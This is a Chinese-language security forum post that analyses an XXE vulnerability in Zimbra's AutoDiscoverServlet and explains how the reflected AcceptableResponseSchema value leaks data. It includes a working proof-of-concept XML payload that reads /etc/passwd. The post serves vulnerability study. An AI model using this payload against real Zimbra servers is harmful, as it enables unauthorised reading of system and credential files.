用户
搜索

该用户从未签到

i春秋-呆萌菜鸟

Rank: 1

1

主题

1

帖子

17

魔法币
收听
0
粉丝
0
注册时间
2020-7-31
发表于 5 天前 21614
本帖最后由 可爱的小雨淅淅 于 2020-7-31 21:31 编辑

刚进I春秋的官网就发现首页上有一篇精选文章,zimbra RCE环境搭建到复现再到exp编写--素念(这里引用一下表哥的文章),看了看表哥给讲了一下Zimbra的xxe+ssrf的环境搭建和利用过程,那我就借着表哥的文章说一下Zimbra中导致xxe的漏洞代码,代码触发点位于zimbrastore.jar中的com/zimbra/cs/service/AutoDiscoverServlet.class#doPost函数
QQ截图20200731162513.png

这段代码的意思是获取Request中的内容,之后循环获取到的内容,把EMailAddress和AcceptableResponseSchema提取出来,遇到email的时候退出循环。
微信图片_20200731174848.png
后面开始判断email函数,就是之前获取到的EMailAddress是否存在,如果存在,就进去验证AcceptableResponseSchema的内容是否等于“http://schemas.microsoft.com/exc ... responseschema/2006”和“http://schemas.microsoft.com/exc ... esponseschema/2006a”,如果不等于,报错503,返回responseSchema,也就是AcceptableResponseSchema的值。



那么构造POC就好办乐,首先定义一个不存在的EMailAddress值,之后通过AcceptableResponseSchema构造你想要执行的命令,比如下面这个POC,就可以实现任意文件读取



[AppleScript] 纯文本查看 复制代码
[/align]
[align=left]<?xml version="1.0" encoding="utf-8"?>[/align][align=left]<!DOCTYPE xxe [[/align][align=left]<!ELEMENT name ANY >
<!ENTITY aaaa SYSTEM "file:///etc/passwd" >]>
    <Request>
      <EMailAddress>asdasd</EMailAddress>
      <AcceptableResponseSchema>&aaaa;</AcceptableResponseSchema>
    </Request>[/align]
[align=left]


复现就不复现了,上传图片太慢了,大家伙想看复现的参考表哥的zimbra RCE环境搭建到复现再到exp编写--素念,今天就先说这个XXE把,SSRF下次吧。

@素念~
使用道具 举报 回复

大佬带带
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册